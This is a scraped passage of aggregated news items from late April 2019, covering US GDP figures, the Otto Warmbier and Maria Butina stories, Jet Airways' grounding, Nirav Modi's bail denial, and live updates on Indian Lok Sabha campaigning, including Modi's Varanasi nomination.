a sharp contraction in the trade deficit. Still, the GDP gain surpassed the 3% bar set by President Trump as evidence his economic program is working. It was the strongest first quarter growth rate since 2015. There had been fears growth could dip below 1% due to the December stock market nosedive, rising weakness in key economies overseas, the US trade war with China, and a partial government shutdown that ended in January. The economy shrugged off those concerns, helped by the January announcement of a pause in rate hikes from the Federal Reserve. story continues below Coverage is positive. Examples of lead paragraphs: New York Times: "Rumors of the economic expansions death appear to have been greatly exaggerated." Wall Street Journal: "The U.S. economy roared back in the first quarter, growing at a rapid pace despite multiple headwinds, suggesting the current expansion has more room to run amid its 10th year." MarketWatch: "Reports of the demise of the U.S. economy proved unfounded as first-quarter activity showed surprising strength. The U.S. economy expanded at a 3.2% annual pace in the first three months of 2019, the government said Friday." (Read more GDP stories.) (Newser) On Thursday, White House press secretary Sarah Sanders noted that the administration doesn't comment on hostage negotiations, a remark necessitated by reports that North Korea billed the US $2 million for Otto Warmbier's hospice care before the 21-year-old student was sent back to the US in 2017. On Friday morning, however, President Trump headed over to Twitter to address the issue himself, the Washington Post reports. "No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else," Trump tweeted. Trump doubled down on this claim while speaking with reporters Friday outside the White House, saying, "We did not pay money for our great Otto. I haven't paid money for any hostage. ... We don't pay money for hostages." story continues below Sources tell the Post that the billwhich some, including Warmbier's father, think sounds like a ransommade its way to the Treasury Department and stayed unpaid at least through 2017. In his tweet, Trump also said "this is not the Obama Administration that paid 1.8 Billion Dollars for four hostages, or gave five terroist hostages plus, who soon went back to battle, for traitor Sgt. Bergdahl!" Those incidents are apparently references to a $400 million cash payment sent to Iran on the same day Iran released four US prisoners in 2016the US says the cash wasn't a ransomand the exchange of five Taliban members for US soldier Bowe Bergdahl. In a second tweet Friday, Trump quoted a "Cheif [sic] Hostage Negotiator" as saying, "President Donald J. Trump is the greatest hostage negotiator that I know of in the history of the United States." The White House has since clarified that Trump was referring to remarks made by Robert O'Brien, special presidential envoy for hostage affairs. (Read more Otto Warmbier stories.) (Newser) "I came here to better my life to get a degree," Maria Butina told a US federal court on Friday. "Now I'm a convicted felon with no money, no job, and no freedom." The Russian gun rights activist was sentenced to 18 months in prison after admitting to conspiracy to act as an unregistered foreign agent as part of a plea deal, though she'll serve only nine months more, with credit given for time served, reports BuzzFeed. The sentence was exactly what prosecutors had recommended, per NBC News. The 30-year-old American University grad student continued to insist that she wasn't working as a spy. story continues below "I wished to mend (US-Russia) relations while building my resume," she said. "It was for these actions and my own ignorance that I'm here." Prosecutors, though, said she was gathering information on influential Americans and relaying them to a Russian official. US District Judge Tanya Chutkan tended to agree, ordering Butina to be deported after serving her sentence. "This was not a simple misunderstanding by an overeager foreign student," Chutkan said. To Butina, she added: "You have a future ahead of you. I wish you the best luck." (Read more Maria Butina stories.) (Newser) As Democrats in Congress weigh their next moves after the release of the Mueller report, a new Washington Post/ABC News poll finds that most Americans aren't in the mood for impeachment hearings. On the other hand, most people think President Trump lied to the public about matters investigated to Robert Mueller's team. Impeachment: Overall, 56% oppose the idea of initiating the proceedings in the House, compared to 37% who are in favor. The split is stark between parties, of course: 62% of Democrats like the idea (53% of them strongly), while 87% of Republicans oppose the idea (78% strongly). Among independents, 36% are in favor and 59% are opposed. Overall, 56% oppose the idea of initiating the proceedings in the House, compared to 37% who are in favor. The split is stark between parties, of course: 62% of Democrats like the idea (53% of them strongly), while 87% of Republicans oppose the idea (78% strongly). Among independents, 36% are in favor and 59% are opposed. Lying: 58% of people in the survey think Trump lied to the public about matters investigated by Mueller, compared to 31% who think he told the truth. 58% of people in the survey think Trump lied to the public about matters investigated by Mueller, compared to 31% who think he told the truth. Exoneration: As for the president's claim of "exoneration," 31% overall say the Mueller report cleared him, while 53% say it did not. The remaining 16% had no opinion. (Read more President Trump stories.) Sorry! This content is not available in your region New Delhi: The woes of around 20,000 employees of the now-grounded Jet Airways, unpaid for several months, seem to be far from over as the blame game between the lenders and the promoters has begun. In a letter addressed to Jet Airways employees, airlines chief executive officer Vinay Dube wrote that the employees are facing grave hardships due to non-payment of their salaries and if this were to continue any longer, our employees will have no option but to find employment elsewhere. In the letter, Dube wrote that the banks said they are unable to make any salary commitments until the bidding process is complete. The banks are blaming the airline promoters alleged failure to let go of Jet Airways in time and some other investor in its flight deck. On the other hand, the promoters insist that they have agreed to every condition put forth by lenders so that the airline could receive emergency funding. Here is Dube's letter to Jet Airways' employees: Hi Everyone, Your leadership team has spent the last few days trying to convince the consortium of Indian banks (led by State Bank of India) to release some funds for our employees, while continuing to support the bank led bid process for Jet Airways. Unfortunately, the banks have said that they are unable to make any salary commitments, if at all, until after the bidding process is complete. We face this reality despite our best efforts to portray the very real suffering that is being endured by each one of you. While on the one hand, we are being told to preserve the value of Jet Airways during the bid process, on the other hand, with no salary payment, some of our colleagues, who are the very fabric and value of this airline, have no choice but to find employment elsewhere. When we highlight the disappointing irony of this situation to the lenders, we are simply told that this problem is to be addressed by the Company's shareholders, who should and could have agreed on a Resolution Plan a long time ago. Separately, there have been considerable deliberations in the various Board meetings regarding the availability of emergency funding from the Promoter and Strategic Shareholder for payment of salary arrears, with no favourable outcome. We have, as a unified Jet Airways team, also approached the Government at the highest levels to seek intervention and assistance in our situation and that too has not yielded positive results thus far. While we will continue to support the Lender led bid process in our effort to leave no stone unturned, it pains us to communicate that no clarity or commitment on salaries has been provided by any of our stakeholders. Safety first. Vinay Dube After flying for 25 years, Jet Airways on April 17 announced temporary grounding of operations after the lenders declined a Rs 400-crore lifeline, putting at stake 20,000 jobs and thousands of crores in passenger refunds, dues to vendors and over Rs 8,500 crore to banks. Founded by Naresh Goyal, who began as a general sales agent to a host of international airlines with travel agency Jetair, the full-service carrier served tens of millions of passengers for over two-and-half decades, before becoming the seventh domestic carrier to shutter operations in the past five years. However, the once-premier airline flew into deeper turbulence-second in its history after the 2010 crisis-- after four back-to-back quarterly losses, leaving it gasping for financial breath and forcing it to default on payments to nearly all--from banks to lessors, to employees, and eventually leading to the shutdown from tonight as its fleet strength has crimped to just about five planes from 123 in December last. For all the Latest Business News, Download News Nation Android and iOS Mobile Apps. New Delhi: In a major setback to fugitive billionaire Nirav Modi, the London Court on Friday rejected his bail. The next hearing in the case will be conducted on May 24. The 48-year-old, who has been behind bars at Wandsworth prison in south-west London since his arrest last month, was produced before a judge at Westminster Magistrates' Court via videolink from the jail. The hearing this week took place as per the 28-day time frame for judicial remand in such cases. Modi was arrested in London recently. Modi had left India before the fraud came to light in January 2018. The Income Tax Department had last month provisionally attached 29 properties and 105 bank accounts of Modi, his family members and firms as part of its probe. The taxman had also filed a charge sheet against Modi before the special court under sections 276 C (1) (wilful attempt to evade tax), 277 A (false statement in verification), 278 B (offences by companies) and 278 E (presumption as to culpable mental state) of the Income Tax Act, 1961. Modi, the prime accused of Indias biggest banking scam, will be extradited to India much sooner and wont be delayed like absconding liquor baron Vijay Mallya. According to a report, India will be able to bring back Modi within six months. And unlike Mallya, Modi cant argue on the grounds of human rights and political motivation. A report in Times of India recently said that since the UK Courts had struck down the human rights issue in Mallyas hearing, it would give advantage to the India probe agencies. The report also said that the extensive and water-tight investigation papers by Indian agencies show enough proofs to meet the dual criminality clause, which is required in the UK courts while dealing such cases. From the fake Letters of Intent to bank transfers, the chargesheets by both the CBI and the Enforcement Directorate have detailed account of Modis modus operandi. The agencies have already seized the diamantaires properties in India worth Rs 1,873 crore. Nirav Modi was arrested by uniformed Scotland Yard officers on March 19. During his first court appearance a day later, it emerged that the diamantaire accused of defrauding PNB via fraudulent Letters of Undertaking (LoUs) had been in possession of multiple passports, since revoked by the Indian authorities. For all the Latest Business News, Download News Nation Android and iOS Mobile Apps. New Delhi: A massive fire broke out on the fourth floor of a multi-storey building in the Rabindra Sadan area of Central Kolkata on Friday morning. The roof of the building located near the Exide More collapsed because of the fire. It is being reported that a short-circuit in an AC machine at fashion designing institute located in the building is the cause of the fire around 9 am. As many as eight fire tenders are at the site and the blaze in under control, Mayor of Kolkata Firhad Hakim said. No casaulty has been reported yet. Eyewitnesses said that they could see a think plume of smoke coming out of the building on Chowringhee Road. The smoke wafted through the air and spread over the densely populated area. People heltered and skeltered on the streets as the smoke spread. The busy area in Central Kolkata houses many offices. Traffic was also disrupted on AJC Bose Road. The fire department officials said that all people in the building have been evacuated and no one is trapped. In January, a major fire had broken out at a five-storey building in southern Kolkata, gutting goods worth lakhs and destroying multiple shops next to the building. At least 19 fire tenders had been pressed into service to douse the fire at Traders Assembly building in Gariahat area after it was noticed around 1 am. The building houses a garment store on the ground and first floor and residential apartments on the floors above, the official told PTI. All families have been evacuated from the building and no one was injured in the fire, the official said, adding that some people had to be taken to hospital after they complained of breathing problems. New Delhi: Uttar Pradesh B.Ed Joint Entrance Exam 2019 answer keys is expected to relaese today. The evaluation process for the exams that was held on April 15, 2019. Mahatma Jyotiba Phule Rohilkhand University, Bareilly will release the answer key on its official website. Candidates who have appeared for the exams can evaluate their scores themselves by tallying their answers with the answer keys to be uploaded on the official website of the University, mjpru.ac.in or upbed2019.in. Total 6,09,209 candidates had registered themselves for the exam. Out of these only 5,66,400 candidates appeared for the examination. UP B.Ed Joint Entrance Exam 2019: Important Dates MJPRU conducted this entrance exam in total of 15 cities. The exam result is expected to declare on May 15, 2019. The online counselling process for the selected candidates will commence from June 1, 2019. The last date for direct entry and certification for candidates is June 7, 2019. UP B.Ed 2019 Entrance Exam 2019: Steps to download answer keys Visit the official website, upbed2019.in or mjpru.ac.in. Click on the link which says UP B.Ed Entrance Exam Answer Keys The Answer keys will be displayed on the screen Save it for further reference Candidates evaluating their scores sjould note that negative marking was applicable in the exam. Candidates were rewarded two marks for every correct answer and for every wrong answer 1/3 mark was deducted from the total score of the candidate. For all the Latest Education News, Jobs News, Download News Nation Android and iOS Mobile Apps. New Delhi: Day after mega roadshow, Prime Minister Narendra Modi will file nomination from Varanasi for the Lok Sabha Elections today. A veteran BJP leader, doctor, agricultural scientist, a member of the family which perform the last rites at Varanasias Manikarnika Ghat will be the proposers for PM Modias nomination. In a show of strength, almost all major NDA leaders will be present during the nomination at Kachari. In Lok Sabha Polls 2014, PM Modi had won Varanasi Lok Sabha seat with a huge margin of 3.37 lakh votes. Congress partyas Ajai Rai and Samajwadi Partyas Shalini Yadav are the candidates PM Modi is contesting against. aJagdish Chaudhary will be one of the proposers for PM Modi. His name has been finalised. So far this is confirmed,a Hindustan Times quoted a senior BJP leader as saying. Veteran BJP leader Subhash Gupta had also been chosen as a proposer. Ramashankar Patel a veteran agricultural scientist, whose work is recognised and awarded by the Central government will also propose for Modi as candidate. Annapurna Shukla, 81, popularly known as theA manasputriA of BJP ideologue Pundit Madan Mohan Malviya. Shukla who is a noted academician and an MBBS doctorA in VaranasiA is also among those who have been chosen for the proposeras name. Prime Minister @narendramodi arrives at Collectorate office to file his nomination from Varanasi parliamentary constituency, meets NDA leaders present there Photos: ANI Watch LIVE: https://t.co/8BhJ6kHL2g Follow LIVE updates here: https://t.co/LV54UIkEat pic.twitter.com/2SAZqMHZsL a News Nation (@NewsNationTV) April 26, 2019 Top brass of the NDA, including Shiv Sena chief Uddhav Thackeray, Bihar Chief Minister and Janata Dal-United (JD-U) president Nitish Kumar, Shiromani Akali Dal (SAD) founder Prakash Singh Badal and Lok Janshakti Party (LJP) chief Ram Vilas Paswan among others will rally behind Prime Minister Narendra Modi as he files his Lok Sabha election nomination from Varanasi today. On Thursday, PM held a 6-km-long roadshow from Lanka Gate on BHU to Dashashwamedh ghat. Soaring the political temperatures, Modi was joined by Bharatiya Janata Party (BJP) president Amit Shah, Uttar Pradesh Chief Minister Yogi Adityanath and other senior BJP leaders in the temple town, on a day the Congress ended the speculation over Priyanka Gandhi Vadra contesting the polls against the prime minister by announcing Ajay Rai's candidature from Varanasi. Modi is seeking another term in the office after an impressive win in 2014 Lok Sabha elections. Modi had contested 2014 Lok Sabha election from Varanasi and Vadodara in Gujarat. He, however, vacated the Vadodara seat as Varanasi was more crucial. New Delhi: PM Narendra Modi will file nomination in the presence of senior NDA leaders including JDU president Nitish Kumar and Shiv Sena chief Uddhav Thackeray. Shiromani Akali Dal's Parkash Singh Badal and Lok Janshakti Party chief Ram Vilas Paswan will also be in attendance when the PM files his nominations at 11.30 am. PM Modi will then go to Madhya Pradesh and address poll rallies in Sidhi around 2.30 pm and another one in Jabalpur at about 5.30 pm. Congress president Rahul Gandhi will address election rallies in Bihar, Odisha and Maharashtra. 20:02 (IST) Facebook Twitter Whats app Linked In PM Modi, Uddhav Thackeray to address joint rally in BKC today, police issue traffic advisory - READ HERE 18:18 (IST) Facebook Twitter Whats app Linked In Election Commission bars Nadia BJP District President Mahadev Sarkar from holding any public meeting, road show, public rally & interviews in media in connection with ongoing elections, for 48 hours from 4 pm on April 26 till 4 pm on April 28. 17:47 (IST) Facebook Twitter Whats app Linked In PM in Jabalpur, Madhya Pradesh: Remember how Congress people made fun of 'Swachh Bharat mission'. They didn't leave any chance to call the idea a small one. Whenever I used to pick the broom, they used to spend the entire day trolling me on social media. 17:07 (IST) Facebook Twitter Whats app Linked In Patiala: Preneet Kaur, Congress candidate from Patiala & wife of Punjab Chief Minister Captain Amarinder Singh, files her nomination for Lok Sabha Elections 2019. Captain Amarinder Singh also present. 17:06 (IST) Facebook Twitter Whats app Linked In Punjab CM Captain Amarinder Singh: He (Sunny Deol, BJP Lok Sabha candidate from Gurdaspur) is a filmy 'fauji', while I am a real fauji. We will defeat him, he is no threat to Sunil Jakhar (Congress Lok Sabha candidate from Gurdaspur), or the Congress. 15:41 (IST) Facebook Twitter Whats app Linked In Bihar: Union Minister and BJP leader Ravi Shankar Prasad files nomination from Patna Sahib constituency. 14:41 (IST) Facebook Twitter Whats app Linked In 'Ganga Maiyya' is angry with BJP, PM Modi is going out of power, Mayawati said in an attack on ruling govt during a rally in UP's Jalaun. 14:05 (IST) Facebook Twitter Whats app Linked In Teleprompter orders Modi during his speeches not to speak on Godhra, promise of Rs 15 lakh. You may be booed, says Rahul at Bihar rally. 14:01 (IST) Facebook Twitter Whats app Linked In Samajwadi Party patriarch Mulayam Singh Yadav rushed to hospital. 14:01 (IST) Facebook Twitter Whats app Linked In Sunny Deol to hold road show in Varanasi tomorrow. 13:57 (IST) Facebook Twitter Whats app Linked In Congress General Secretary for UP East Priyanka Gandhi Vadra, at a public meeting in Gursarai. Congress General Secretary for UP East Priyanka Gandhi Vadra, at a public meeting in Gursarai pic.twitter.com/WKLGi2fJUv ANI UP (@ANINewsUP) April 26, 2019 14:04 (IST) Facebook Twitter Whats app Linked In Sam Pitroda, Indian Overseas Congress Chief: It (not contesting from Varanasi) was Priyanka ji's decision, she has other responsibilities. She thought rather than concentrating on one seat she should focus on the job she has at hand. So, that decision was her and she decided it. 13:30 (IST) Facebook Twitter Whats app Linked In The Great Khali accompanies BJPs Jadavpur candidate Anupam Hazra during filing of nomination. Hazra is the TMC Bolpur MP who has switched loyalties to contest from Jadavpur constituency on a BJP ticket. 13:18 (IST) Facebook Twitter Whats app Linked In Only 13 out of the total 173 candidates fighting LS polls in Delhi are women. 12:51 (IST) Facebook Twitter Whats app Linked In PM Narendra Modi: I deeply express gratitude towards people of Kashi. They have again blessed me after 5 years. Such a grand roadshow yesterday was possible only in Kashi. 12:51 (IST) Facebook Twitter Whats app Linked In PM Narendra Modi files nomination from Varanasi parliamentary constituency. 12:51 (IST) Facebook Twitter Whats app Linked In Supreme Court refuses to interfere with the Election Commission order banning release of biopic 'PM Narendra Modi'. 13:09 (IST) Facebook Twitter Whats app Linked In Prime Minister Narendra Modi offered prayers at Kaal Bhairav Temple in Varanasi before filing of nomination. 10:42 (IST) Facebook Twitter Whats app Linked In Congress President Rahul Gandhi, tweets, "Engine trouble on our flight to Patna today! Weve been forced to return to Delhi. Todays meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience." 10:41 (IST) Facebook Twitter Whats app Linked In Andhra Pradesh CM N Chandrababu Naidu wrote to Election Commission yesterday over transfer of DG Intelligence, Chief Secretary and Superintendents of Police of various districts of the state and seeks directions to CEO not to interrupt functioning of the state government. 10:08 (IST) Facebook Twitter Whats app Linked In Janata Dal United's Nitish Kumar and Lok Janshakti Party's Ram Vilas Paswan meet BJP President Amit Shah during NDA leaders meet in Varanasi. Janata Dal United's Nitish Kumar and Lok Janshakti Party's Ram Vilas Paswan meet BJP President Amit Shah during NDA leaders meet in Varanasi. pic.twitter.com/FXEA84Hzwa ANI UP (@ANINewsUP) April 26, 2019 10:07 (IST) Facebook Twitter Whats app Linked In EAM and BJP leader Sushma Swaraj: The people of Varanasi are very lucky as they are choosing the prime minister of India, while people of other constituencies are choosing their MPs 10:07 (IST) Facebook Twitter Whats app Linked In Home Minister and BJP leader Rajnath Singh: NDA will get 3/4th majority in the country. 10:06 (IST) Facebook Twitter Whats app Linked In BJP President Amit Shah at NDA leaders meet in Varanasi; Later today, PM Narendra Modi will file his nomination from Varanasi Parliamentary seat. BJP President Amit Shah at NDA leaders meet in Varanasi; Later today, PM Narendra Modi will file his nomination from Varanasi Parliamentary seat. pic.twitter.com/6KvJcMjyn1 ANI UP (@ANINewsUP) April 26, 2019 08:09 (IST) Facebook Twitter Whats app Linked In NDA candidate from Patna Sahib, Union Minister Ravi Shankar Prasad will file his nomination today. Before the filing of nomination, he will participate in a road show from Miller School Ground. NDA candidate from Buxar Ashwini Kumar Chaubey will also file his nomination. Union Minister RK Singh, NDA candidate from Ara, will also file his nomination today 07:32 (IST) Facebook Twitter Whats app Linked In Rajasthan: Members of Hindu community who had come from Pakistan, and have been living in Jodhpur since 6-3 years say, "We request the PM to provide us facilities like water, electricity, housing & ID proof. We also request him to grant us Indian citizenship." 07:31 (IST) Facebook Twitter Whats app Linked In Rajasthan: Residents of Dhingana Village in Jodhpur district say that they have decided to boycott elections, alleging that local admn has done nothing to solve their water crisis, issue of roads and schools. Say, "What is the use of selecting a govt who doesn't solve our problem?" Rajasthan: Residents of Dhingana Village in Pali district say that they have decided to boycott elections, alleging that local admn has done nothing to solve their water crisis, issue of roads and schools. Say, "What is the use of selecting a govt who doesn't solve our problem?" pic.twitter.com/jiEVXPAEkE ANI (@ANI) April 25, 2019 07:13 (IST) Facebook Twitter Whats app Linked In Others have children too: Uddhav's dig at Pawar family 06:53 (IST) Facebook Twitter Whats app Linked In Congress president Rahul Gandhi will address election rallies in Bihar, Odisha and Maharashtra. 06:53 (IST) Facebook Twitter Whats app Linked In PM Modi will then go to Madhya Pradesh and address poll rallies in Sidhi around 2.30 pm and another one in Jabalpur at about 5.30 pm. 06:53 (IST) Facebook Twitter Whats app Linked In Shiromani Akali Dal's Parkash Singh Badal and Lok Janshakti Party chief Ram Vilas Paswan will also be in attendance when the PM files his nominations at 11.30 am. New Delhi: Day after mega roadshow, Prime Minister Narendra Modi will file nominations from Varanasi for the Lok Sabha Elections today. In a show of strength, almost all major NDA leaders will be present during the nomination at Kachari. Yesterday, the PM held a 6-km-long roadshow from Lanka Gate on BHU to Dashashwamedh ghat. Soaring the political temperatures, Modi was joined by Bharatiya Janata Party (BJP) president Amit Shah, Uttar Pradesh Chief Minister Yogi Adityanath and other senior BJP leaders in the temple town, on a day the Congress ended the speculation over Priyanka Gandhi Vadra contesting the polls against the prime minister by announcing Ajay Rai's candidature from Varanasi. Later, addressing a meeting here, Modi said while the last five years were about his government making sincere efforts, the next five will be about results. Here are LIVE updates from Varanasi: 14:46 (IST) Facebook Twitter Whats app Linked In Congress govt betrayed people in Madhya Pradesh by reducing electricity supply: PM Modi. 14:45 (IST) Facebook Twitter Whats app Linked In PM Modi in Sidhi, MP: Congress had promised to reduce electricity bills & found a solution to do so by reducing electricity supply in your homes. Congress govt here is running on the formula of supplying lesser electricity than previous Shivraj govt. Is this not betrayal? 14:44 (IST) Facebook Twitter Whats app Linked In JJP's Naina Chautala terms BJP's Sirsa candidate Sunita Duggal 'barsati mendak'. 14:13 (IST) Facebook Twitter Whats app Linked In People of Bihar will give befitting reply in elections for insulting treatment meted out to Lalu Prasad, says Rahul inpresence of Tejashwi Yadav. 11:19 (IST) Facebook Twitter Whats app Linked In PM Modi arrives at Collectorate to file his nomination. Union Minister Nitin Gadkari, UP CM Yogi Adityanath also reach Varanasi Collectorate office. 11:54 (IST) Facebook Twitter Whats app Linked In Bihar Chief Minsiter Nitish Kumar, Shiv Sena cheif Uddhav Thackeray, Ram Vilas Paswan, Anupriya patel and Piyush Goyal reache Collectorate office in Varanasi. PM Modi will file his nomination from Varanasi shortly. I thank our NDA family for joining us on this historic occasion. Stronger NDA for a Better India. #DeshModiKeSaath pic.twitter.com/HzhbKOgit5 Chowkidar Amit Shah (@AmitShah) April 26, 2019 11:01 (IST) Facebook Twitter Whats app Linked In Prime Minister Narendra Modi offered prayers at Kaal Bhairav Temple in Varanasi; leaves for Collectorate office to file his nomination. Prime Minister Narendra Modi offered prayers at Kaal Bhairav Temple in Varanasi; leaves for Collectorate office to file his nomination. #LokSabhaElections2019 pic.twitter.com/4sn4pGR6o0 ANI UP (@ANINewsUP) April 26, 2019 10:04 (IST) Facebook Twitter Whats app Linked In "I have a wish that I was not able to fulfil from Gujarat. Can Benaras fulfil this wish? I want the women to win the voting turnout. There should be at least 5% increase in women voting percentage," says PM Modi to party workers. 09:58 (IST) Facebook Twitter Whats app Linked In We must break all polling records, PM Modi tells BJP workers. 09:57 (IST) Facebook Twitter Whats app Linked In PM Modi also talks about soaring temperature. He says that party workers must not think about summer but concentrate on polling. 09:52 (IST) Facebook Twitter Whats app Linked In Benaras jeet gaye, says PM Modi and tells party workers to work for every single booth in the city. 09:51 (IST) Facebook Twitter Whats app Linked In During interaction with party workers, PM Modi talks about vaanar sena from Ramayan and Chhatrapati Shivajis soldiers. 09:44 (IST) Facebook Twitter Whats app Linked In For first time ever, there is pro-incumbency wave in the country, says PM Modi. 09:41 (IST) Facebook Twitter Whats app Linked In PM Modi also spoke about his days as foot soldier when he used to paste posters on walls. 09:40 (IST) Facebook Twitter Whats app Linked In PM Modi expresses his gratitude to the party workers for their love and support during his mega roadshow yesterday. 09:39 (IST) Facebook Twitter Whats app Linked In PM Modi begins his address with Har Har Mahadev chant. 09:37 (IST) Facebook Twitter Whats app Linked In Ahead of filing nomination, PM Modi addresses party workers in Varanasi. 09:14 (IST) Facebook Twitter Whats app Linked In As PM visits various temples in the holy town, BJP President Amit Shah is meeting NDA leaders at party office. 09:10 (IST) Facebook Twitter Whats app Linked In After 'Ganga darshan' in early morning hours, PM Modi is going to Kaal Bhairav Temple ahead of filing his nomination. 08:57 (IST) Facebook Twitter Whats app Linked In News Nation has learnt that PM Modi is likley to address party workers ahead of filing his nomination. 08:54 (IST) Facebook Twitter Whats app Linked In There are reports that he might undertake the cruise on Ganga. 08:53 (IST) Facebook Twitter Whats app Linked In PM Modi is about to reach Assi Ghat shortly. 08:38 (IST) Facebook Twitter Whats app Linked In But the pace and direction of its development were right, Modi said and outlined the work done by his government in Varanasi. 08:38 (IST) Facebook Twitter Whats app Linked In After the roadshow, PM Modi said that he said he would not claim that whatever he had wished for his Varanasi had come true in the last five years. 08:36 (IST) Facebook Twitter Whats app Linked In The Shiv Sena chief has already reached Varanasi. In early morning hours, he was seen offering prayers at Kaal Bhairav temple. 08:33 (IST) Facebook Twitter Whats app Linked In Shiromani Akali Dal's Parkash Singh Badal and Lok Janshakti Party chief Ram Vilas Paswan will also be in attendance when the PM files his nominations at 11.30 am. New Delhi: Samajwadi Party patriarch Mulayam Singh Yadav was rushed to hospital in Lucknow today. Multiple media reports have said that Yadav has been admitted to emergency ward in PGI, Lucknow. Yadav was last seen attending a joint rally with rival-turned-ally Mayawati in Mainpuri last week. Once steadfast rivals have now joined hands to take on the Narendra Modi-led Bharatiya Janata Party (BJP) in the Lok Sabha elections. In 1995, Samajwadi Party workers had allegedly attacked a state guest house where Mayawati was camping with her supporters. The immediate provocation was Mayawati's decision to withdraw from the government and join hands with the BJP. Ever since then the two had become sworn enemies. The SP patriarch is contesting from Mainpuri and Mayawati campaigning for him is proof that they have buried their hatchet, at least for now. Mulayam had not attended the other SP-BSP joint rallies in Deoband, Badaun and Agra because of health issues. The Samajwadi Party patriarch is contesting from his bastion Mainpuri in this Lok Sabha elections. He had filed his nomination papers from the constituency last month. As per the affidavit, the SP patriarch has declared a total property, both movable and immovable, worth Rs 16.52 crore. This is Rs 3.20 crore less than the assets declared by him in an affidavit ahead of the 2014 Lok Sabha elections. According to the affidavit, a case was registered against Mulayam Singh Yadav at the Hazratganj police station in Lucknow on September 24, 2015, for allegedly threatening IPS officer Amitabh Thakur over phone. The case is pending in the court of the chief judicial magistrate. His affidavit mentions that he owes Rs 2.13 crore to his son Akhilesh Yadav. Mulayam Singh Yadav and his wife Sadhna Yadav have an annual income of Rs 32.02 lakh and Rs 25.61 lakh respectively. Sadhna Yadav has shown assets worth Rs 5.06 crore. According to the election affidavit, Mulayam Singh Yadav does not have a car. However, his wife owns a luxury car. The feud in the first family of the Samajwadi Party was, however, evident as Mulayam Singh Yadav's younger brother Shivpal Singh Yadav was not present there. Shivpal Singh Yadav, who founded Pragatisheel Samajwadi Party (Lohia) after falling apart with his nephew and Samajwadi Party chief Akhilesh Yadav, has announced his candidature from Firozabad in the coming polls. During the Yadav family feud in 2016, Ram Gopal Yadav had sided with Akhilesh Yadav. Mulayam Singh Yadav, the former defence minister, has won the seat four times in the past- 1996, 2004, 2009 and 2014. Interacting with media after filing the papers, the SP leader exuded confidence that his party would win the election and said he is not a candidate for the prime minister's post. New Delhi: A day after it was made official that Congress general secretary Priyanka Gandhi Vadra will not contest from Varanasi parliamentary constituency, senior party leader Sam Pitroda on Friday claimed that she took the decision herself. aIt (not contesting from Varanasi) was Priyanka ji's decision, she has other responsibilities. She thought rather than concentrating on one seat she should focus on the job she has at hand. So, that decision was her and she decided it,a Pitroda was quoted as saying by news agency ANI. Sam Pitroda, Indian Overseas Congress Chief: It (not contesting from Varanasi) was Priyanka ji's decision, she has other responsibilities. She thought rather than concentrating on one seat she should focus on the job she has at hand. So, that decision was her and she decided it. pic.twitter.com/65hTQurplT a ANI (@ANI) April 26, 2019 Earlier on Thursday, the Congress fielded Ajay Rai from Varanasi to take on Prime Minister Narendra Modi, ending speculation on a possible blockbuster electoral duel between Vadra and the PM in the temple town of Uttar Pradesh. The 'will she, won't she' suspense ended following nomination of Rai, who unsuccessfully contested against PM Modi in last general elections and finished third in the contest after the BJP leader and Aam Aadmi Party's Arvind Kejriwal. Speculation on Priyanka Gandhi making her electoral debut from Varanasi had been rife for the past few weeks and was fuelled after Congress president Rahul Gandhi, to a question on whether he planned to field his sister against PM Modi, said last week, "I will leave you in suspense. Suspense is not always a bad thing." Priyanka Gandhi herself had added to the buzz by saying on Tuesday that she would abide by her party's decision on the matter. Meanwhile, the SP-BSP grand alliance has declared Shalini Yadav, who joined the Samajwadi Party on Monday evening, as their candidate from Varanasi. After years of working in Congress backrooms, Priyanka Gandhi joined full-time politics in February as in-charge of eastern Uttar Pradesh, hoping to change the party's fortunes in the ongoing Lok Sabha election. Varanasi constituency will go to the polls in the last phase on May 19.A Prime Minister Modi has filed his nomination papers for the Varanasi Lok Sabha seat today. BJP chief Amit Shah along with senior BJP and NDA leaders, including JD (U) president Nitish Kumar, Shiv Sena chief Uddhav Thackeray and other were present with him. In 2014, Modi won the seat by a margin of over three lakh votes against Aam Aadmi Party leader Arvind Kejriwal. While Modi got over 5,81,000 votes, Rai managed about 75,000 votes. Jaipur: BJP president Amit Shah said on Friday that his party's policy is to reply with a bombshell if Pakistan fires a bullet, while the Congress just plays "Ilu-Ilu" with terrorists. Shah borrowed the phrase from a Bollywood song Ilu is an abbreviation for 'I love you' at an election rally in Jalore, where he claimed that Congress president Rahul Gandhi was "disappointed" when the Indian Air Force struck a terror camp in Pakistan. "Rahul Baba, you do Ili-Ilu with terrorists. We don't do that. Our policy is very clear," he said. "Wahan se goli ayegi to yahan se gola jayega (If a bullet comes here, a shell lands there)," he said in Jalore. Shah also held a roadshow in Jodhpur in support of BJP candidate Gajendra Singh Shekhawat. He urged people to bring the Modi government back to power. The Bharatiya Janata Party president was accompanied by former Rajasthan chief minister Vasundhara Raje. Shah claimed there was disappointment at Rahul Gandhi's office when the IAF struck at Balakot in Pakistan after a terror strike in Kashmir. "The day when the entire country was cheering, distributing sweets, there was disappointment at two places. One, in Pakistan and the other, in Rahul Gandhi and company's office," he said in Jalore. He targeted the Congress over the call in the Valley to revive the post of 'Wazir-e-Azam' in Jammu and Kashmir. "Their allies in Kashmir say that there should be a second prime minister. They want two prime ministers. Can there be two prime ministers in one country Kashmir is an integral part of India and no one can separate it from India, he said. The BJP chief said the 2019 Lok Sabha elections are about protecting the country's honour, teaching a lesson to the terrorists and giving a befitting reply to Pakistan. He said the Congress ruled for 55 years but only gave slogans in the name of removing poverty. Shah said he has come to the Jalore meeting after visiting 259 other locations and found there is support for Prime Minister Narendra Modi everywhere. "I have visited east, west, north and south of the country and only one slogan is common -- Modi, Modi, Modi," he said. "It has become a slogan of everyone in the country. The slogan is not just because of Modi's popularity but also due to work done by the government under his leadership to win the people's hearts," he said. New Delhi: Shiv Sena chief Uddhav Thackeray on Thursday accused Nationalist Congress Party (NCP) chief Sharad Pawar of only thought of his family while distributing tickets for the Lok Sabha elections. Thackeray was addressing a campaign rally in the Maval constituency of Maharashtra, where the NCP has fielded Parth Pawar, Sharad Pawars grand-nephew and senior party leader Ajit Pawars son. While Sharad Pawars daughter Supriya Sule is seeking re-election from Baramati. Parth Pawar is facing Shiv Senas Shrirang Barne in Maval. If not me, my son. If not son, my nephew. Do others have no children? the Sena chief said. In Satara, we fielded son of a Mathadi (head-loader) worker, he added. Terming Bangladesh an enemy, he said late Sena patriarch Bal Thackeray 